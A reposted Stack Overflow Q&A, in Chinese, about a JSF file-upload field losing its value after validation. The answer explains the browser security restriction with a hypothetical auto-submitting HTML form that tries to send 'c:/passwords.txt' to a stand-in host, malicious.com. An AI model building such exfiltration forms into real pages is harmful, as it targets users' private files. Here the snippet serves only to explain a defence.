gpt4 book ai didi

JSF value lost after validation failure

转载 作者:行者123 更新时间:2023-12-04 21:39:52 24 4
gpt4 key购买 nike

我发现在验证以下代码后,上传文件路径的值丢失了。无论如何我可以在验证失败后保留该值吗?谢谢你。

<t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" />

最佳答案

那是不可能的。这是 HTML 的安全限制。您不能预填充/保留 HTML 的值 <input type="file"> field 。由于 JSF 只是生成 HTML,JSF 对此无能为力。

想象一下,如果不存在此安全限制,网站将能够执行以下操作:

<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
<input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>

你有看到?

关于JSF <t :inputFileUpload> value lost after validation failure,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/4972263/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com